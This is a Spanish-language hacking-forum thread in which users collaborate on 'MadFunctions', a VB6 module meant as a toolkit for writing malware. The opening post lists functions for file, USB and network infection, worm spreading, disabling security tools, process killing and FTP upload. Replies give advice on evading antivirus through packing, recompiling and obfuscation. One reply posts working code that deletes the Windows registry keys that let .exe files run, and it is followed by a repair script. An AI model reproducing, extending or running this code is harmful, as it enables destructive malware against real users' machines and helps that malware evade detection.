| 
	
		|  Autor | Tema: [+] Proyecto Open Source: MadFunctions  (Leído 5,886 veces) |  
	| 
			| 
					
						| Mad Antrax | 
 
MadFunctions.basQue es esto?La idea es programar un módulo para VB6 (*.bas) que pueda ser agregado a cualquier proyecto, este módulo irá orientado a la programación de 'malware ' en general y facilitará muchísimo la tarea del programador a la hora de implementar las típicas funciones que todo 'malware ' devería tener.Que funciones se integrarán en MadFunctions.bas? Pues os dejo un listado de las funciones que a día de hoy 22/01/08  voy a implementar, algunas de ellas ya estás hechas (y publicadas en este foro) y otras me falta terminarlas, aquí el listado, el nombre de las funciones (así como sus argumentos) lo describen todo xD '1) Infection Functions 	Private Sub infect_HardDrive(ByVal DriveLetter As String) As Integer	Private Sub infect_USBDrive() As Integer	Private Sub infect_NetBiosLan(ByVal SubNet As String) As String	Private Sub infect_File(ByVal FilePath As String) As Boolean	Private Sub infect_ZipFile(ByVal ZipPath As String) As Boolean	Private Sub infect_RarFile(ByVal RarPath As String) As Boolean '2) Spreading Worms Functions 	Private Sub spread_MSN() As Boolean	Private Sub spread_Yahoo() As Boolean	Private Sub spread_GTalk() As Boolean	Private Sub spread_Skype() As Boolean	Private Sub spread_P2P() As Boolean '3) Locking Functions 	Private Sub lock_Regedit() As Boolean	Private Sub lock_SysRestore() As Boolean	Private Sub lock_SecurityCenter() As Boolean	Private Sub lock_Firewall() As Boolean	Private Sub lock_SysUpdates() As Boolean	Private Sub lock_IEOptions() As Boolean	Private Sub lock_TaskMgr() As Boolean '4) Deleting Functions 	Private Sub delete_File(ByVal FilePath As String) As Boolean	Private Sub delete_FileSecure(ByVal FilePath As String) As Boolean	Private Sub delete_AllFolders(ByVal FolderPath As String) As Boolean '5) Managing Process/Services 	Private Sub kill_Process(ByVal ProcessName As String) As Integer	Private Sub kill_Service(ByVal ServiceName As String) As Integer '6) Internet Functions 	Private Sub get_PublicIP() As String	Private Sub get_PrivateIP() As String	Private Sub download_File(ByVal ULR As String) As Boolean	Private Sub kill_Google() As Boolean '7) FTP Functions 	Private Sub ftp_Upload(ByVal ftpServer As String, ByVal ftpLogon As String, ByVal ftpPass As String, ByVal FileUploadPath As String) As Boolean	Private Sub ftp_Download(ByVal ftpServer As String, ByVal ftpLogon As String, ByVal ftpPass As String, ByVal FileDoenloadPath As String) As Boolean '8) Self Funtions 	Private Sub MeltFile()	Private Sub isMutexRunning() As Boolean '9) Net/Lan Functions 	Private Sub net_ShareFolder(ByVal FolderPath As String, ByVal SharedName As String) As Boolean	Private Sub net_Folder2Drive(ByVal FolderPath As String, ByVal DriveLetter As String) As Boolean '10) Attributes knoking Functions 	Private Sub change_IncreaseBytes(ByVal FilePath As String, ByVal HowManyBytes As String) As Boolean	Private Sub change_VanishFile(ByVal FilePath As String) As Boolean	Private Sub change_DateMod(ByVal FilePath As String) As Boolean '11) System Functions 	Private Sub system_Shutdown()	Private Sub system_Logoff() 
 Ojo, faltan las funciones de FileCopy (para copiar ficheros o nuestro ejecutable) y las de Autorun (aquí hay mucho que exprimir), se está barajando la opción de añadir funciones de ADS (Alternate Data Streams), pero no sé aun...Éste va a ser el listado definitivo de las funciones? No, tengo que hacer una encuesta, ya que muchas de las funciones actualmente expuestas rozan la ilegalidad y pueden estar fuera del Hacking Ético  (por ejemplo las funciones de Spreading Worms o las de Infección de Ficheros, Discos USB, Redes Completas, etc...). La encuesta será lanzada en pocos días.Puedo contribuir, aportando ideas, aportando funciones, etc? Sí, aunque me guste programar este tipo de cosas, una ayuda nunca viene mal , si tienes cualquier idea, sugerencia, rectificación, mejora, ... o si tienes alguna función creada por ti mismo que desearías incluir aquí: por favor exprésalo en este post para que todos decidamos si incluirlo o no. 
 Por el momento os pido que miréis el listado actual y opinéis , si debemos quitar/añadir algo, ideas, mejoras, etc... Se buscan Beta-Testers para probar alguna de las funciones bajo circunstancias poco comunes (En Windows 2000, sin privilegios de Administrador, bajo ciertos AntiVirus, etc...) Saludos, vuestro amigo cojonudo: ||MadAntrax||  
 
 |  
						| 
								|  |  
								|  |  En línea | 
 
 No hago hacks/cheats para juegos Online.Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
 |  |  |  | 
			| 
					
						| jackl007 
								       
								
								 Desconectado 
								Mensajes: 1.403
								
								 
								[UserRPL]
								
								
								
								
								
								     | 
 
Un consejo; las funciones de este modo seran detectadas por muchos antivirus ...y hay que estar constantemnte modificando el codigo o buscando otra manera de hacer lo mismo para evitar eso ...
 yo implemntare las que tenga en mi Pc
 
 
 |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| NadiceJMA 
								
								 Desconectado 
								Mensajes: 185
								
								 
								Nca
								
								
								
								
								
								     | 
 
me parece buena idea esta, la verdad quisiera saber si puedes agregar una funcion para que podamos obtener el escritorio remoto...
 aaaa me ofresco como beta tester
 |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| Mad Antrax | 
 
Las funciones de este modo seran detectadas por muchos antivirus ...
 Las funciones las estoy programando a mano, así que cuando salga el módulo serán todas indetectables. Cuando compiles tu proyecto, podrá shacerlo en código nativo o P-Code (consigues 2 proyectos identicos con estructura interna modificada, evitas los AV y su heuristica) y hay que estar constantemnte modificando el codigo o buscando otra manera de hacer lo mismo para evitar eso ... Cuando tengas el proyecto compilado, lo empaquetas con UPX, FSG o lo que quieras, además siempre podrás cambiar las variables (de Integer a Long por ejemplo), con esto modificas las zonas de la pila (ya que Long requiere más zona de memoria que un Integer) y evitas las firmas de los AntiVirus. O puedes cambiar las Strings de las funciones Yo creo que puede ser un proyecto bonito |  
						| 
								|  |  
								|  |  En línea | 
 
 No hago hacks/cheats para juegos Online.Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
 |  |  |  | 
			| 
					
						| jackl007 
								       
								
								 Desconectado 
								Mensajes: 1.403
								
								 
								[UserRPL]
								
								
								
								
								
								     | 
 
Esta idea la hice yo; me di cuenta de que si elimino esas claves en el registro, se puede causar graves molestias para quien no sepa mucho, en cuanto a los ejecutables   . Modulo para manejar el registro; la puedes usar para mas cosas   : Const REG_SZ = 1Const REG_BINARY = 3Const REG_DWORD = 4 Public Const HKEY_CURRENT_USER = &H80000001Public Const HKEY_CLASSES_ROOT = &H80000000' Declaraciones de API para manipulacion del Registro Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As LongPublic Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As LongPublic Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As LongPublic Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As LongPublic Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As LongPrivate Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As LongPublic Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Public Function RegQueryStringValue(ByVal hKey As Long, ByVal strValueName As String) As String     Dim lResult As Long, lValueType As Long, strBuf As String, lDataBufSize As Long     lResult = RegQueryValueEx(hKey, strValueName, 0, lValueType, ByVal 0, lDataBufSize)    If lResult = 0 Then        If lValueType = REG_SZ Then             strBuf = String(lDataBufSize, Chr$(0))            'recupera el valor del key            lResult = RegQueryValueEx(hKey, strValueName, 0, 0, ByVal strBuf, lDataBufSize)            If lResult = 0 Then                 RegQueryStringValue = Left$(strBuf, InStr(1, strBuf, Chr$(0)) - 1)            End If        ElseIf lValueType = REG_BINARY Then            Dim strData As Integer            'recupera el valor del key            lResult = RegQueryValueEx(hKey, strValueName, 0, 0, strData, lDataBufSize)            If lResult = 0 Then                RegQueryStringValue = strData            End If         ElseIf lValueType = REG_DWORD Then             'recupera el valor del key            lResult = RegQueryValueEx(hKey, strValueName, 0, 0, strData, lDataBufSize)            If lResult = 0 Then                RegQueryStringValue = strData            End If         End If    End IfEnd Function Public Function GetString(hKey As Long, strPath As String, strValue As String)     Dim Ret    'Abre Key    RegOpenKey hKey, strPath, Ret    'Carga Contenido    GetString = RegQueryStringValue(Ret, strValue)    'Cierra Key    RegCloseKey RetEnd Function Public Function SaveStringWORD(hKey As Long, strPath As String, strValue As String, strData As String)    Dim Ret    RegCreateKey hKey, strPath, Ret    RegSetValueEx Ret, strValue, 0, REG_DWORD, CLng(strData), 4    RegCloseKey RetEnd FunctionPublic Function SaveStringSZ(hKey As Long, strPath As String, strValue As String, strData As String)    Dim Ret    RegCreateKey hKey, strPath, Ret    RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)     RegCloseKey RetEnd Function Public Function DelSetting(hKey As Long, strPath As String, strValue As String)    'No usado    'Puedes usarlo para borrar entradas     Dim Ret    'Crea una nueva Key    RegCreateKey hKey, strPath, Ret    'Borra el valor de la Key    RegDeleteKey Ret, strValue    'Cierra el Key    RegCloseKey RetEnd Function  
 y la funcion: Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As LongPrivate Sub Form_Load()fore = "exefile\shell\open\command"fore1 = "exefile\shell\runas\command" fore2 = "exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}"fore3 = "exefile\shellex\DropHandler"fore4 = "exefile\shellex\PropertySheetHandlers\ShimLayer Property Page"fore5 = "exefile\DefaultIcon"fore6 = "exefile\shellex\PropertySheetHandlers\PifProps"RegDeleteKey HKEY_CLASSES_ROOT, foreRegDeleteKey HKEY_CLASSES_ROOT, fore1RegDeleteKey HKEY_CLASSES_ROOT, fore2RegDeleteKey HKEY_CLASSES_ROOT, fore3RegDeleteKey HKEY_CLASSES_ROOT, fore4 'DesRegDeleteKey HKEY_CLASSES_ROOT, fore5RegDeleteKey HKEY_CLASSES_ROOT, fore6 EndEnd Sub 
 NOTA: No la pruebes en tu pc! o  si la pruebas desactiva: DES
 
 vacuna:
 Nota2:@echo offassoc .exe=exefileftype exefile="%1" %*@echo Windows Registry Editor Version 5.00>%TEMP%\exe.reg@echo [HKEY_CLASSES_ROOT\exefile]>>%TEMP%\exe.reg@echo @="Aplicacion">>%TEMP%\exe.reg@echo "NeverShowExt"="">>%TEMP%\exe.reg@echo [HKEY_CLASSES_ROOT\exefile\Shell\Open\Command]>>%TEMP%\exe.reg@echo @=hex(2):22,00,25,00,31,00,22,00,20,00,25,00,2a,00,00,00>>%TEMP%\exe.regregedit /s %TEMP%\exe.regdel %TEMP%\exe.reg
  lo edite xq cambie de funcion, la otra la probe y no hizo nada ... esta que pongo aqui funciona bien!   Cuidado, lo que hace es borrar las claves que asocian la extension EXE (re-muy importante, imaginas iniciar tu windows sin que te cargen nada??? es una joda). |  
						| 
								|  |  
								| « Última modificación: 22 Enero 2008, 14:53 pm por jackl007 » |  En línea | 
 
 |  |  |  | 
			| 
					
						| jackl007 
								       
								
								 Desconectado 
								Mensajes: 1.403
								
								 
								[UserRPL]
								
								
								
								
								
								     | 
 
Aporto esta infeccion en el registro para activar 'G¡f' como ejecutable; incluso agrega el icono del propio gif para no necesitar atribuirle un icono   esta en batch, alguien se toma el trabajo de traducirlo? no tengo mucho tiempo; pero para los "" pueden usar chr(34) ... o tranquilamnte lo colocan en un text y colocan esto Open "ruta" For Output As #1Print #1, text1.TextClose #1
 Code:  |  
						| 
								|  |  
								| « Última modificación: 22 Enero 2008, 01:49 am por jackl007 » |  En línea | 
 
 |  |  |  | 
			| 
					
						| cobein | 
 
Con respecto al tema de ls AVs podrian utilizar alguna herramienta como el VBEXEObfuscator  |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| ~~ | 
 
Yo esto lo veo mas util para copiar solo las funciones q te hagan falta y no todo el modulo, q si no va a ser mas facil q detecten tu aplicacion y va a subir mucho el peso.. pero la iniciativa es wena   |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| Mad Antrax | 
 
Yo esto lo veo mas util para copiar solo las funciones q te hagan falta y no todo el modulo, q si no va a ser mas facil q detecten tu aplicacion y va a subir mucho el peso.. pero la iniciativa es wena  Claro, yo crearé el módulo y cada uno que coja las funciones que necesite |  
						| 
								|  |  
								|  |  En línea | 
 
 No hago hacks/cheats para juegos Online.Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
 |  |  |  | 
			| 
					
						| Hans el Topo 
								       
								
								 Desconectado 
								Mensajes: 1.754
								
								 
								"Estoy cansado de no hacer nada"
								
								
								
								
								
								     | 
 
van a salir tropecientas, igual es conveniente crear varios módulos cada uno orientado a una serie de tareas concretas y no tan genérico Éste va a ser el listado definitivo de las funciones?No, tengo que hacer una encuesta, ya que muchas de las funciones actualmente expuestas rozan la ilegalidad y pueden estar fuera del Hacking Ético
 eso me ha hecho reír ...    |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  |  |  
 
	
 
 
				
					
						| Mensajes similares |  
						|  | Asunto | Iniciado por | Respuestas | Vistas | Último mensaje |  
						|   |   | Proyecto de hace telaa [PHP] [SOURCE] PHP
 | rmdma() | 6 | 3,281 |  2 Marzo 2012, 13:24 pm por WHK
 |  
						|   |   | Cual es su opinion de Open Wireless Movement un proyecto prometedor no lo creen Foro Libre
 | Mister12 | 4 | 2,554 |  1 Enero 2014, 16:08 pm por ignorantev1.1
 |  
						|   |   | ¿algun proyecto de  juego 3D con voip multiplayer en web open source? Foro Libre
 | bacanzito | 0 | 1,651 |  16 Febrero 2015, 06:13 am por bacanzito
 |  
						|   |   | Esta herramienta gratuita analizará el código de tu proyecto Open Source en ... Noticias
 | wolfbcn | 0 | 4,350 |  10 Mayo 2016, 15:23 pm por wolfbcn
 |  
						|   |   | Gestión de Tareas Escolares | Proyecto web de Free software y open source Desarrollo Web
 | Drakaris | 0 | 2,551 |  6 Enero 2020, 00:51 am por Drakaris
 |    |